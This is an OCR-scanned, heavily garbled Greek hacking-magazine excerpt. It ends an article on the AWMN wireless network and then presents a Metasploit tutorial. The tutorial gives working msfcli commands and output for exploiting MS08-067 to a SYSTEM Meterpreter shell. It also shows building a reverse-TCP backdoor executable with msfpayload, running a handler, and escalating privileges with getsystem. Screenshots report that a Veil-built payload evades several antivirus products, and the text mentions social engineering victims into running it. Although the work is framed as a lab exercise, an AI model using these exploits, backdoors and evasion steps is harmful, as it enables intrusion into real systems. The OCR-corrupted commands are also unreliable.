ανοίξουμε µια μόνιμη σύνδεση µε το ΑΝΝΜΝ, εἰναι να σεβόμαστε τους κανονισμούς 
του. Όσα παρουσιάσαµε αγγίζουν povo την επιφάνεια του ΑΝΝΜΝ. 


Едо) που та λέμε, то АУ/ММ αποτελεἰ μόνο την apx! Υπάρχουν δεκάδες акоџп ασύρ- 
џатес κοινότητες ауа την Ελλάδα”, σε πολλὲς διαφορετικὲς πὀλεις. Μπορεί να µην 
εἶναι όλα τα δίκτυα εξίσου μεγάλα, αλλά εἶμαστε σίγουροι от! οι χρήστες τους εἶναι 
εξίσου αφοσιωμένοι και διατεθειμένοι να βοηθήσουν та νέα μέλη. 


2. 1η Ι8γπιαη΄/ς terms :) 

3. Παρόλο που διαβάσαμε от! οι διάφορες κοινότητες συνδέονται μεταξύ τους µε κάποιο link (eite VPN, µέσω Internet, eite µέσω 802.11), 
δε καταφέραμε να επισκεφτούμε σελίδες αυτών. Ίσως χρειάζεται κἄποια τροποποίηση στο routing, αλλά για την фра εἰμαστε καλυμμένοι µε то 
ΑΝΝΜΝ. 
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қ .М\ ѓе. 
шігігі ӨМ» 


Αρχικἠ σελίδα Е - т , 
. т ТҚ 
Διαχείριση VOIP 
Εγγραφή 
Ανόκτηση κωδικού 


» Κόμβοι δικτύου 


22 


2-27 κόμβοι δικτύου 
84 Ζώνες DNS 


δή Διευθυνσ ιοδότηση 


Ὁ Υπηρεσίες δικτύου 
Р Γρήγορη εύρεση 


Στατιστικὠ 


2387/11751 
1196 

2726 

823 
757/833 


Google Earth Νέο ποράθυρο 


Σκούρτα 


4% 
6 22-2). 
ы 
Ф Д 


Д 
а 


Біко νες 13 Теггам ег псв, Θ2013 Δεδομένα χορ 


2 Фьасквопе 2 ἵ.. Points ' Ф.с Тен 


То WiND αποτελεί το νευρικὀ σύστημα του AWMN. Από ауто ρυθμίζονται 
τα πάντα: Н δήλωση των νέων κόμβων, η επικοινωνία µε τους ιδιοκτήτες 
τους, η καταγραφή των υπηρεσιών και πάει λέγοντας. 


Αν και χαρήκαμε αρκετά µε τα еорпџата µας στους FTP server του АУ/ММ, δεν πε- 
ριοριστήκαµε στο "πλιάτσικο". Н σύντομη ενασχόληση µε то ΑΝΝΜΝ ἦταν αρκετἠ για 
να τροφοδοτήσει τη σκέψη µας µε ιδέες για μελλοντικά πρότζεκτ. Πώς θα σας pal- 
νόταν να σηκώσουμε µια υπηρεσία μέσα στο AWMN ἡ уа στήσουμε το δικό µας KÒ- 
Во; Κάτι τέτοιο θα απαιτούσε παιχνίδι τόσο µε то hardware, ово και µε то software. 
Μπορείτε να σκεφτεἰτε κάτι καλύτερο; 
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Η ηλεκτρονική ЕКОООП του deltaHacker δεν 


έχει каша σχέση µε Өлі έχετε δει ως τώρα. 


Είναι portable ка! searchable - 


Επιτρέπει την κι ἀντιγραφῇ κειμένου, αλλά και 
την EKTUNWON. 


Είναι ил А6- ηΦιώπ-ωτ-εις- και δείχνει Τέλεια παντού. 
στο tablet, στο smartphone και φυσικά στον υπολογιστή. 


А! n ПЛЕКТООУМІКІ ЕКОООГ) του денанаскег 


δεν φέρει τεχνητούς περιορισμούς και 
δεν τιμωρεί τον катохо της, 


Στηρίξτε τη δουλειά µας κι επιτρέψτε µας να τη 
συνεχίσουμε, 


Ф 
Αποκτήστε тора ша апо τις ηλεκτρονικές 
συνδρομές στο Περιοδικό deltaHacker. 
Кі εσείς. 


ΠΗρ://αθιαπαςκθι.οι/ρΩ(12οιαθ: 


Skill: Intermediate 


Tags: pentesting, client-side attacks, vulnerabilities, exploits, payloads 


encoding, AV evasion, Metasploit, Meterpreter 
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Αγαπάµε то Metasploit και δεν то κρύβουμε. Οι λὀγοι εἶναι πολλοί και 
διάφοροι αλλά αν µας ζητήσετε м" αναφέρουμε гмам μόνο, ғ, τότε χωρίς 


τον παραμικρό δισταγμό θα εξηγήσουμε бт! το αγαπάμε επειδἠ βοηθά то 

νεοφερμένο να ξεκινήσει ομαλά το ταξίδι του στον κόσμο του pentesting. 
Στο паром ἆρθρο περιπλανούὐμαστε λίγο πιο πέρα απὀ τους πρώτους 
σταθμούς και βλέπουμε пос μπορούμε να αντιμετωπίσουμε τα ικανά, 


πλέον, ап 


virus. Φυσικά, το διασκεδάζουμε ὁσο περισσότερο μπορούμε 


και σας προσκαλούμε уа µας ακολουθήσετε. 
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Па то Metasploit Framework ἐχουμε γράψει αναλυτικἁ σε προηγούμενο τεύχος, OU- 
үкекрінеуа σε δύο εκτενἠ άρθρα που φιλοξενήθηκαν στο аеіёаНаскег 017 (http:// 
де1&аһаскег. вг/ае1саһаскеге17). Στο прото εξ αυτών κάνουμε µια εισαγωγἠ στην 
όλη πλατφόρμα και στη λογική της, εξηγώντας μεταξύ ἄλλων τι µπορεί να πετύχει 
και ті ὀχι (http://deltahacker.gr/?p=8083). Στο δεύτερο άρθρο περνάμε στη δράση, 
δείχνοντας пос апоктоџџе πλήρη πρόσβαση, πάντα µε τη βοήθεια του Metasploit, 
σ' ἑνα еопабес Windows box (http://deltahacker. gr/?p=8087). 


Λίγες μέρες πριν τη κλυκλοφορἰα του τεύχους που тора διαβάζετε, камаџе και ша 
δίωρη επίδειξη των δυνατοτήτων του Metsploit. Στο 110 επεισόδιο της Ίης σεζὀν 
του deltaCast, χρησιμοποιούμε διάφορα εργαλεία και τεχνικὲς WOTE, µε εφαλτήριο 
πάντα то Metasploit Framework, να αποκτήσουμε πρόσβαση στον domain controller 
ενὸς Windows LAN και μετὰ уа επεκταθούµε και σ' ἑνα vo LAN, πἰσω апо τον 
domain controller. Ау δεν έχετε δει το επεισόδιο, κάντε тора éva (μεγάλο) διάλειµ- 
μα, παρακολουθἠστε το κι епотреште: 


http://deltahacker .gr/deltaCast-s01e11 


Στη συνέχεια εξετάζουμε гема χρήσιμο εργαλείο του Metasploit Framework, δείχνου- 
µε пос δουλεύουν οι λεγόμενες client-side attacks κι αντιμετωπίζουμε το καυτό 
θέμα του anti-virus evasion. Ξεκινήστε λοιπὀν τα УМ σας — και καλἠ διασκέδαση! 


Προαπαιτούμενα 


Για ἄλλη µια фора δουλεύουμε στο πλαἰσιο ενὸς εικονικού δικτύου που ἐχουμε 
δημιουργήσει µε то VirtualBox. Προτείνουμε να κάνετε κι εσεἰς то ἰδιο. Δείτε αν 
χρειαστεί και το бо επεισόδιο της Ίης σεζὀν του deltaCast: http://deltahacker.gr/ 
дећасаз!-501е05. Στο συγκεκριµένο επεισόδιο, μεταξὺ ἄλλων επιδεικνύεται και η 
εγκατάσταση του BackTrack Linux. Апо την ἄνοιξη ωστόσο του 2013 προτιμάμε 
και δουλεύουμε µε τον διἀδοχό του, που εἰναι то Kali Linux. Αν δεν ἐχετε περάσει 
στο Ка! σας συστήνουμε να το κάνετε ἄμεσα — κι ενδεχομένως AUTÒ το άρθρο 
уа σας pavzi χρήσιμο: 


http://deltahacker.gr/kali-wifi-pentest-lab 


Ката τα άλλα, σχεδὀν òda τα εργαλεία που χρειαζόμαστε, Φυσικά και то ἰδιο το 
Metasploit Framework, εἶτε εἶναι поп εγκατεστημένα στο Kali site διατίθενται γι' 
аџто κι εγκαθίστανται µε το γνωστὸ apt-get. Και µια σημείωση: Προτιμάμε ма 
έχουμε το εικονικὀ µας εργαστήριο σε διαφορετικὀ subnet апо εκεἰνο του αλη- 
θινού, τοπικού δικτύο. Ακριβώς γι’ αυτό, για τα VMs που το απαρτίζουν έχουμε 
ακόµη гма, σε ρὀλο εικονικού router. Τον τελευταίο καιρό пропџаџе το OpenBSD 
σ' αυτόν το ρόλο, αν µη τι ἆλλο επειδἠ δεν εἶναι καθόλου απαιτητικὀ σε πόρους 
συστήματος. Αν ενδιαφἐρεστε, παρακολουθἠήστε και то deltaCast 501610: 


http://deltahacker.gr/deltacast-s01e10 


Πρώτος εξάδελφος του msfconsole 


Πρόκειται για το msfcli, ἑνα εργαλεἰο για τη γραμμὴ εντολών µε то οποίο μπορούμε 
να κἀνουμετις δουλειὲς που θα κάναμε και µε то тзтсопзоје, αλλά *©х!* διαδραστι- 


75 


УНАСЈКЕК. 


ÁNAND 


ка. Επίσης, σε αντίθεση µε το msfconsole, µε то msfcli εἶμαστε σε θἐση να κάνουμε 
ша *роуо* εργασἰα τη фора. Προφανώς, το εργαλείο εἶναι ὁ,τι прёп отам ξέρουμε 
ακριβὠς τι θέλουμε να πετύχουμε ἡ σε σενάρια ὁπου χρειάζεται να αυτοματοποιή- 
coupe еруаојес µε тп βοήθεια scripts. Επίσης, βολικὀ αποδεικνύεται κι Отау κάνουμε 
τη δικἡ µας έρευνα και πειραματισμούς. Προκειμένου να δούμετις παραμέτρους που 
υποστηρίζει το msfcli, πληκτρολογούμε апла 


root@kali64cus:~# msfcli -h 


Usage: /opt/metasploit/apps/pro/msf3/msfcli <exploit_name> <option=value> 
[mode] 


Mode Description 

(A)dvanced Show available advanced options for this module 

(AC)tions Show available actions for this auxiliary module 

(C)heck Run the check routine of the selected module 

(Е)хесиће Execute the selected module 

(H)elp You're looking at it baby! 

(I)DS Evasion Show available ids evasion options for this module 

(O)ptions Show available options for this module 

(P)ayloads Show available payloads for this module 

(S)ummary Show information about this module 

(T)argets Show available targets for this exploit module 
Examples: 


msfcli multi/handler payload=windows/meterpreter/reverse_tcp lhost=IP E 
msfcli auxiliary/scanner/http/http_version rhosts=IP encoder= post= nop= E 


Н αλήθεια εἶναι ὁτι η πρώτη επαφἠ µε την οθόνη βοηθείας δεν εἶναι ιδιαίτερα δι- 
αφωτιστική. Όμως та πρἀγµατα εἶναι πολὺ πιο απλά ап" ово αρχικἁ δείχνουν κι о 
καλύτερος τρόπος για να το διαπιστώσουμε εἶναι να δούµε ἑνα συγκεκριµένο пара- 
δειγµα. Ας υποθέσουμε, λοιπὸν, ὁτι γνωρίζουμε... 


а) το ІР ενὸς Windows box (στο παράδειγμά µας 192.168.200.125) 
В) την εκδοχἠ και την ἐκδοση του λειτουργικού (Windows ΧΡ SP2) 
ү) дті ἐχει ανοικτὲς τις θύρες 139/ТСР και 445/ТСР 


Όλες τις προηγούμενες πληροφορίες μπορούμε να тіс ἐχουμε µέσω του nmap. О 
συγκεκριμένες ανοικτὲς θύρες φανερώνουν ὁτι η υπηρεσία filesharing των Windows 
εἶναι ενεργοποιημένη, οπότε тора σκεφτόμαστε бт! θέλουμε να κάνουμε vav γρή- 
yopo ἐλεγχο για να δούµε αν то box εἶναι ευπαθές ως προς το διαβόητο М508-067: 


http://technet.microsoft.com/en-us/security/bulletin/ms08-067 


Αν ο administrator του στὀχου έχει αμελήσει να εγκαταστήσει σχετικὀ patch апо 
τη Microsoft, τότε θα катаферошџџе να πάρουμε πλήρη πρόσβαση στο μηχάνημα — 
εννοείται μέσα апо το Кай µας. Трехооме ξανὰ το msfcli, βάζοντας στη θέση του 
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ώ а о » Computer » декаНаскег (ХУБохвгу) (E) > Downloads 


Organize т Мем folder 


ЖС Favorites 
Libraries 


н 
«ὃ Homegroup check.exe checkenc.exe trythis.exe 


М Computer 
Б, Local Disk (С) 
© deltaHacker (\vboxsry) (Е) 


Өш Network 
ΙΕ CORE-B-PC 
1% VBOXSVR 
ΜΕ үамувох-со 
ΠΕ WINvBox-C1 
ΠΕ WINVBOX-C2 
ΠΕ WINVBOX-C3 


© Προστασία σε πραγματικό χρόνο: Ενεργή 
© Ορισμοίιῶν καιλογισμικού spyware: Ενημερωμένο 


Λεπτομέρειες σάρωσης. 
Προγραμματισµένη σάρωση: Κυριακή περίπου στις 02:00 (Γρήγορη σάρωση) | Αλλαγή του προγράµµατος σάρωσης. 
Τελευταία σάρωση: 20/10/2013 στις 0203 (Γρήγορη σάρωση). 


Το αρχείο сһеск.ехе εἶναι éva απλὀ, μη-κρυπτογραφημένο 

payload που φτιάξαμε µε то msfpayload (1). То сһескепс.ехе 

εἶναι η κρυπτογραφηµένη του εκδοχή, η οποία προέκυψε апд τη 
συνεργασία msfpayload και msfencode (2). То δε trythis.exe ἐχει 
την ἴδια λειτουργικότητα µε та δύο προαναφερθέντα (παρέχει στον 
επιτιθέµενο Меѓегргеѓег shell στον υπολογιστή-στόχο), ωστόσο то 
έχουμε φτιάξει µε τη βοήθεια του Veil (3). Όπως βλέπετε και στη 
φωτογραφία, то Microsoft Security Essentials δεν βλέπει τίποτε то 
παράξενο στα συγκεκριµένα εκτελέσιμα. То guest OS του УМ тпс 
δοκιμής ἦταν та Windows 7 Ultimate 32bit. 


<ехріоіє_пате> то ὀνομα του exploit που θέλουμε уа δοκιμάσουμε και στη θἐση 
του [mode] то О (αγγλικό, κεφαλαίο "о"): 


root@kali64cus:~# msfcli ехр1о01%5/міпдом5/5т0/508 067 петарі О 


[51 Initializing modules... 


Name Current Setting Required Description 

RHOST yes The target address 

RPORT 445 yes Set the SMB service port 

SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC) 


Παρατηρήστε бт! δώσαμε στο тїсї το σχετικὀ (relative) path του exploit. Μιας 
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gO- је » Computer » deltaHacker (\\vboxsrv) (E) 


Organize = New folder 


Favorites 
ЕТЕСІЗ 


. 4 
«Ὁ Homegroup сћескехе сһескепс-еке trythis.exe 


1% Computer 
δν, Local Disk (С) 
Ў CD Drive (D:) VirtualBox Guest Additions 


© deltaHacker (\\vboxsrv) (E:) 
(Т) AVG Detection 
Εμ Network 


x 


Ез ava AntiVirus FREE 


ΠΕ CORE-B-PC 

188 VBOXSVR 

ІШ УЛМУВОХ-СО Y Тһгеа! пате 

1% WINVBOX-C1 ж Virus found Win32/Heur 


AVG blocked several threats. 


ΜΕ WINVBOX-C2 * * * \Device\VBoxMiniRdr\;E:\vboxsrv\deltaHacker\Downloads\e 
ΜΕ уамувох-сз ж Virus found Win32/Heur 

* * + \Device\VBoxMiniRdr\;E:\vboxsrv\deltaHacker\Downtoads\checkenc.exe 
ἽἼ 3 йет 


Тір: Ву right click оп item іп the list you сап choose additional actions. 


© 


To AVG αμέσως χαρακτηρίζει ὡς κακόβουλα та check.exe και checkenc.exe 
και σημαίνει συναγερμό. Δεν βλέπει τίποτε то παράξενο στο trythis.exe, όμως! 
Ακριβώς το ἰδιο συνέβη και µε та Avira και Avast. Ὀλα та VMs των δοκιμών 
εἶχαν το ідо guest OS: Windows 7 Ultimate 32bit. 


και το М508-067 εἶναι εξαιρετικἀ δημοφιλές, το αντίστοιχο path το έχουμε μάθει 
σχεδὀν ап" ἐξω. Βεβαίως αυτὸ εἶναι αδύνατον να ισχύει για τα 1200+ exploits του 
Metasploit. Έτσι, ενώ κάποιες φορὲς ξέρουμε ποιο exploit θέλουμε уа δοκιµάσουμε, 
δεν θυμόμαστε ακριβώς το ὀνομα ἡ το path του. Ένας γρήγορος τρόπος για να то 
θυμηθούμε апо τη γραμμὴ εντολών του λειτουργικού µας, εν προκειμένω του Kali, 
εἶναι να ρίξουμε µια ματιὰ σ' ἑνα συγκεκριµένο παρακλάδι της ιεραρχίας καταλὀ- 
үшу του Metasploit Framework. Αρκεἰ να ξεκινήσουμε το ψάξιμο апо то /иѕг/ѕћаге/ 
metasploit-framework/modules/exploits: 


root@kali64cus:~# 

total 56K 

root root 4.0K Oct 19 11:44 aix 

root root 4.0K Sep 13 18:53 apple_ios 
root root 4.0K Sep 13 18:53 bsdi 

root root 4.0K Sep 13 18:53 dialup 
root root 4.0K Sep 13 18:53 freebsd 


drwxr-xr-x 
drwxr-xr-x 
drwxr-xr-x 


drwxr-xr-x 


N мм л ~ 


drwxr-xr-x 
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drwxr-xr-x 3 root root 4.0K Sep 13 18:53 һрих 
.ӨК Sep 13 18:53 irix 
„ОК Sep 13 18:53 linux 
.ӨК Oct 19 11:44 multi 
.ӨК Sep 13 18:53 netware 
.ӨК Sep 13 18:53 osx 

„ОК Sep 13 18:53 solaris 
.ӨК Sep 13 18:53 unix 
drwxr-xr-x 50 root root 4.0K Sep 13 18:53 windows 


drwxr-xr-x 3 root root 
drwxr-xr-x 21 root root 
drwxr-xr-x 18 root root 
drwxr-xr-x 4 root root 
drwxr-xr-x 13 root root 


drwxr-xr-x 7 root root 


= A A A A ь ыр ы 


drwxr-xr-x 10 root root 


Εἰπαμε, λοιπὀν, στο msfcli, ὁτι θέλουμε να χρησιμοποιήσουμε то ms08_067_netapi 
και µετά του περάσαμε την εντολὴ О, η οποία προκαλεἰ την εμφάνιση των παραμὲ- 
τρων που δέχεται το exploit. Ема: προφανὲς Оті, кат" ελἀχιστον, πρέπει να δώσουμε 
τη διεύθυνση ІР του στὀχου στη μεταβλητή RHOST. Θα πάμε Муо παραπέρα, καθο- 
ρἰζοντας και το PAYLOAD: 


root@kali64cus:~# msfcli ехр101%5/міпдом5/5т0/0508 067 петарі \ 
> КНО5Т-192.168.200.125 PAYLOAD=windows/meterpreter/reverse_tcp 0 


[51 Initializing modules... 


Name Current Setting Required Description 
RHOST 192.168.200.125 yes The target address 
RPORT 445 yes Set the SMB service port 
SMBPIPE BROWSER yes The pipe name to use (BROWSER, 
SRVSVC) 
Payload: 
Name Current Setting Required Description 
EXITFUNC process yes Exit technique: seh, thread, 
process, none 
LHOST yes The listen address 
LPORT 4444 yes The listen port 
Паратпрпате ὁτι, σε αντίθεση pe то msfconsole, отам anoðiðoupe τιμὲς σε µεταβλη- 
тес µέσω του тїсї, τότε οφείλουμε уа πληκτρολογούμε то "=" μεταξὺ μεταβλητής 


(RHOST, PAYLOAD) και τιμἠς (192.168.200.125, windows/meterpreter/reverse_tcp). 
Па то payload nou αποδώσαμε στην ομώνυμη μεταβλητή δεν χρειάζεται va πούμε 
πολλά: Εἶναι ο δηµοφιλἠς, ευἑλικτος και πανίσχυρος Μεϊειργεῖει και θ' ασχοληθού- 
µε μαζί του και στη συνέχεια του παρόντος. Όπως βλέπουμε στην ἐξοδο του msfcli, 
апо τη στιγμή που αναθέτουµε τιµή στην PAYLOAD υπάρχει και η ІНО5Т που πρέπει 
уа πάρει τιµή — συγκεκριµένα τη διεύθυνση ІР του μηχανήματος στο οποίο тора 
εργαζόµαστε (192.168.200.30, για το παράδειγμά μας). Ας της αποδώσουµε τιμὴ και 
Ἀταυτόχρονα” ας εκτελέσουµε το exploit. Αυτό θα γίνει арке! στη θέση του О ма 
βάλουμε το Ε: 
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root@kali64cus:~# msfcli exploits/windows/smb/ms@08_067_netapi \ 
> RHOST=192.168.200.125 \ 

> LHOST=192.168.200.30 PAYLOAD=windows/meterpreter/reverse_tcp \ 
> EXITFUNC=seh E 

[*] Initializing modules... 

RHOST => 192.168.200.125 

LHOST => 192.168.200. 30 

PAYLOAD => windows/meterpreter/reverse_tcp 

EXITFUNC => seh 

[*] Started reverse handler on 192.168.208д. 38: 4444 
Automatically detecting the target... 

Fingerprint: Windows XP - Service Pack 2 - lang:English 
Selected Target: Windows ХР SP2 English (А1мау50п NX) 


Sending stage (770048 bytes) to 192.168.200.125 


Meterpreter session 1 opened (192.168.200.30:4444 -> 


[*] 

[*] 

[*] 

[*] Attempting to trigger the vulnerability... 

[*] 

РМ 

192.168.200.125:2841) at 2013-10-24 08:30:06 +0300 


тетегргетег > ѕуѕіпғҒо 


Computer : SECDESK 
05 : Windows ΧΡ (Build 2600, Service Раск 2). 
Architecture : Χδ6 


System Language : el_GR 

Meterpreter : х86/м1іп32 
meterpreter > getuid 

Server username: NT AUTHORITY\SYSTEM 


meterpreter > 


Пара πολύ ωραία. Πληκτρολογώντας σε µια κονσόλα του Kali ша μόνο γραμμὴ (й 
δύο, αν τη διακὀψαμε µε [М και [Enter]), αποκτήσαμε πρόσβαση ото αποµακρυ- 
оџемо Windows box µε δικαιώματα administrator — кі όλα αυτά χωρίς να έχουμε 
φορτώσει το msfconsole! 
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Το θύμα βοηθά τον θύτη 


Όταν ола τ' ἄλλα αποτυγχάνουν, οι penetration testers καταφεύγουν στις Леудџе- 
мес client-side attacks. Πολύ πιο συχνὰ, періттд να σημειώσουμε, το ἴδιο κάνουν και 
οι blackhat hackers. Ката τη διάρκεια ενὸς pentest, λοιπὀν, δεν εἶναι απίθανο να 
διαπιστωθεἰ ὁτι ο administrator уос συστήματος ἡ емос ολόκληρου δικτύου ξέρει 
πολύ кала τι κάνει, οπὀτε αδυναμίες που θα μπορούσε να εκμεταλλευτεί ο επίδοξος 
επιτιθέμενος, прокешемоџм ν' αποκτήσει απομακρυσμένη πρόσβαση σε τουλάχι- 
στον va μηχάνημα, πολύ απλά δεν υπάρχουν. 


Н εναλλακτική одос που ακολουθείται σ' αυτὲς τις περιπτώσεις перма μέσα апо τις 
client-side attacks: Ως αποτέλεσµα μεθὀδων/τεχνικὠν social engineering, то υπο- 
ψήφιο θύμα ξεγελιέται κι εκτελεί στον υπολογιστή του κὠδικα, ο οποίος παρέχει 
πρόσβαση στον επιτιθἐµενο. Αυτό τουλάχιστον λέει η θεωρία, γιατἰ ο τελευταίος ἐχει 
πάντοτε δύο μεγάλα προβλήματα: 

а) пос να ξεγελάσει το θύμα του WOTE να εκτελέσει κὠδικα 


В) пос о κὠδικας που θα εκτελέσει το θύμα Ἔδεν3 θα εντοπιστεἰ κι εµποδιστεὶ 
από antimalware software. 


Στο паром ἀρθρο μὰς απασχολεἰ то В). Συνεχίστε το διάβασμα. 


Client-side attacks, στο χαλαρό 


Θα ξεκινήσουμε µε ша δοκιµἠ σ' èva Windows ΧΡ SP3 VM που *ōev* τρέχει 
апштајмаге software (διάβαζε: anti-virus). Αρχικά, µας ενδιαφἑρει να μάθουμε пос 
φτιάχνουμε va εκτελέσιμο το οποίο ὀταν ενεργοποιείται апо το θύμα συνδέεται 
δικτυακἀ στο μηχἀνημὰ µας, парехомтас µας πλήρη, απομακρυσμένη πρόσβαση 
στον στὀχο. Па то σκοπὀ ауто θα χρησιμοποιήσουμε το εργαλείο msfpayload ώστε 
να φτιάξουμε, ουσιαστικά, ¿va backdoor. Δείτε: 


root@kali64cus:~# тѕҒрау1оаа міпдом</тетегргетег/геуегве %ср 0 
Мате: Windows Метегргетег (Reflective Injection), Reverse TCP Stager 
Module: payload/windows/meterpreter/reverse_tcp 
Platform: Windows 
Arch: x86 
Needs Admin: No 
Total size: 290 
Rank: Normal 
Provided by: 


skape <mmiller@hick.org> 
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sf <stephen_fewer@harmonysecurity . сот> 
һат <hdm@metasploit.com> 


Basic options: 


Name Current Setting Required Description 

EXITFUNC process yes Exit technique: seh, thread, process, 
none 

LHOST yes The listen address 

LPORT 4444 yes The listen port 

Description: 


Connect back to the attacker, Inject the meterpreter server DLL via 
the Reflective D11 Injection payload (staged) 


Επιθυμούμε va backdoor που θα µας δώσει éva Meterpreter shell στο μηχάνημα 
του θύματος. Δώσαμε στο msfpayload την οδηγία О (κεφαλαἰο "о"), ὥστε να δούμε 
τι παραμέτρους μπορούμε να περάσουμε στο εκτελἐσιμὀ µας. Χωρίς каша ἐκπληξη, 
βλέπουμε бт! арке! να ορίσουμε τη διεύθυνση ІР του μηχανήματος апо το οποίο εξα- 
πολύουμε την επίθεση ((НО5Т). Н προκαθορισμένη θύρα, στο ἴδιο μηχάνημα, εἶναι 
η 4444 (Ι ΡΟΕΤ) και δεν υπάρχει λόγος να την αλλάξουμε. Ας παράξουμε, λοιπὸν, то 
ωραίο µας εκτελέἑσιµο: 

root@kali64cus:~# тѕҒрау1оаа міпаом</тетегргетег/геуегве «ср 1 

> ІН0О5Т-192.168.200.30 X > /гоо/сћеск.ехе 

Created by ш<Ғрау1оаа (http://www.metasploit.com). 

Payload: windows/meterpreter/reverse_tcp 

Length: 290 

Options: {"LHOST"=>"192.168.200.30"} 

root@kali64cus:~# ls -lh /root/check.exe 

-rw-r--r-- 1 root root 73K Oct 24 12:56 /root/check.exe 

root@kali64cus:~# 


То оуорӣсар= "сћеск.ехе" και тора μένει уа то στείλουμε µε капоюу τρόπο στο 
θύμα, το οποίο фиска θα έχουμε πείσει --επίσης µε "κάποιον тропо"— от! αξίζει 
να το τρέξει. Πριν апо αυτά, βεβαίως, στον бїк© µας υπολογιστή οφείλουμε να 
'χουµε ἐτοιμο ἑναν μηχανισμὀ ο οποίος θα δεχθεἰ και θα διαχειριστεἰ τη σύνδεση 
апо το στὀχο. Том εν λόγω μηχανισμὀ μπορούμε ма τον στἠσουµε єїтє μέσα апо то 
msfconsole, χρησιμοποιώντας то exploit module ονόματι "handler" (ехрјоњ/тин / 
handler), εἶτε απευθείας µε то msfcli, апо ша κονσόλα του λειτουργικού. Ас δούμε 
το δεύτερο: 


root@kali64cus:~# msfcli exploit/multi/handler E 
[*] Initializing modules... 

[*] Started reverse handler on 192.168.200. 38: 4444 
[*] Starting the payload handler... 
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= Neil-master/setup : setup.sh 
File Edit View Settings Help 
inflating: Tools/pynche/ListViewer.py 
inflating: Tools/pynche/Switchboard.py 
extracting: Тоо15/рупсће/ __Зп1: .ру 
inflating: Тоо15/рупсһе/Ое4аі15У/іемег.ру 
inflating: Тоо15/рупсһе/БЕАОМЕ.%х% 
inflating: Tools/pynche/TextViewer .py 
inflating: Tools/pynche/pynche.pyw Python 2.7.5 Setup 
inflating: Tools/pynche/.DS_Store 
creating: Тоо15/рупеће/Х/ ” Select whether to install Python 2.7.5 for all 
inflating: Tools/pynche/X/xlicense.txt ΚΙ соттан; 
inflating: Тоо1з/рупсһе/Х/гав.%х% 
inflating: Tools/pynche/html40colors.txt 2 
inflating: Тоо15/рупсһе/ТуреіпУіемег.ру © iinstal for а users 
inflating: Tools/pynche/StripViewer .ру С Install just for me (not avalable on Windows Vista) 
inflating: Тоо15/рупсһе/СһірУіемег.ру 
inflating: Tools/pynche/ColorDB. py 
inflating: Tools/pynche/pyColorChooser .py 
inflating: Tools/.DS_Store 
creating: Tools/webchecker/ 
inflating: Tools/webchecker/wsgui.py 
inflating: Tools/webchecker/README.txt 
inflating: Tools/webchecker/websucker .py 
inflating: Tools/webchecker/wcgui.py python 
inflating: Tools/webchecker/webchecker .py f 


Bookmarks 


J> 


inflating: Tools/webchecker/wcmac.py windows 
inflating: Tools/webchecker/tktools.py 

inflating: python-2.7.5.msi 

inflating: pywin32-218.win32-py2.7.exe 

inflating: pycrypto-2.6.win32-py2.7.exe 


[+] Preparing Wine Directories 


[+] Installing Wine Python Dependencies 

fixme:storage:create_storagefile Storage share mode not implemented. 
:mscoree:LoadLibraryShim error reading registry key Тог installroot 
:mscoree:LoadLibraryShim error reading registry key for installroot 
:mscoree:LoadLibraryShim error reading registry key for installroot 
:mscoree:LoadLibraryShim error reading registry key for installroot 
:mscoree:LoadLibraryShim error reading registry key for installroot 
:mscoree:LoadLibraryShim error reading registry key for installroot 

otifyAddrChange (Handle 0хс9де92с, overlapped Охс9е910): 

: configuration in '/root/.wine' has been updated. 

fixme:storage:create_storagefile Storage share mode not implemented. 


СЛ 


~Neil-master/setup : setup.sh 


Ката τη διάρκεια της εγκατάστασης του Veil θα δούμε μερικούς installation wizards 
για Windows, οἱ οποίοι στην πραγματικότητα τρέχουν στο πλαίσιο του εξοµοιωτή 
WINE. Το Veil χρειάζεται την Python για Windows καθώς και μερικές ἁλλες 
βιβλιοθήκες, επίσης yia Windows, προκειµένου να παράγει Windows executables. 


Αυτὀ ἠταν. О handler περιμένει υπομονετικά για σύνδεση και κάποια στιγμή το υπο- 
ψήφιο θύμα εκτελεἰ το сћеск.ехе. Ма τι θα δούμε τότε στο τερµατικὀ µας: 


[*] Sending stage (770048 bytes) to 192.168.200.106 


[*] Meterpreter session 1 opened (192.168.200 .30:4444 -> 
192.168.200.106:1816) at 2013-10-24 14:35:32 +0300 


meterpreter > 


Computer : КЕҮКРС 
05 : Windows ХР (Build 2600, Service Раск 3). 
Architecture : x86 


System Language : en_US 
Meterpreter : х86/міп32 
meterpreter > 

Server username: REYKPC\subZraw 


meterpreter > 
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.. got system (via technique 1). 
meterpreter > 

Server username: NT AUTHORITY\SYSTEM 
meterpreter > 


Επιτυχία! Αρχικά αποκτήσαμε πρόσβαση στον λογαριασμὀ του χρήστη subZraw, 
στη συνέχεια όμως προχωρήσαμε στο λεγόμενο privilege elevation µε την εντολἠ 
getsystem κι ἐτσι αποκτήσαµε πλήρη δικαιώματα διαχειριστή συστήματος. 


= Ме -тазгег/е(ир : setup.sh у 49) ο 
File Edit View Bookmarks Settings Нер 

inflating: /opt/pyinstaller-2.0/support/rthooks/pyi_rth_Image.py 
inflating: /opt/pyinstaller-2.0/support/rthooks/pyi_rth_PIL_Image.py 
inflating: /opt/pyinstaller-2.0/support/rthooks/pyi_rth_Tkinter.py 
inflating: /opt/pyinstaller-2.0/support/rthooks/pyi_rth_babel.py 
inflating: /opt/pyinstaller-2.0/support/rthooks/pyi_rth_django.py 
inflating: /opt/pyinstaller-2.0/support/rthooks/pyi_rth_encodings.py 
inflating: /opt/pyinstaller-2.0/support/rthooks/pyi_rth_mpldata. py 
inflating: /opt/pyinstaller-2.0/support/rthooks/pyi_rth_opengl .ΡΥ 
inflating: /opt/pyinstaller-2.0/support/rthooks/pyi_rth_qt4plugins.py 
inflating: /opt/pyinstaller-2.0/support/rthooks/pyi_rth_usb.py 
inflating: /opt/pyinstaller-2.0/support/rthooks/pyi_rth_versioneddll.py 
inflating: /opt/pyinstaller-2.0/support/rthooks/pyi_rth_win32comgenpy .py 
creating: /opt/pyinstaller-2.0/utils/ 

inflating: /opt/pyinstaller-2.0/utils/ArchiveViewer .py 

inflating: /opt/pyinstaller-2.0/utils/BinDepend.py 

inflating: /opt/pyinstaller-2.0/utils/Build.py 

inflating: /opt/pyinstaller-2.0/utils/Crypt.py 

inflating: /opt/pyinstaller-2.0/utils/GrabVersion.py 

inflating: /opt/pyinstaller-2.,0/utils/MakeComServer .py 

inflating: /opt/pyinstaller-2.0/utils/Makespec.py 


Cleaning Up Setup Files 
Removing Temporary Directories 


Updating Veil Configuration 

OPERATING_SYSTEM = Kali 

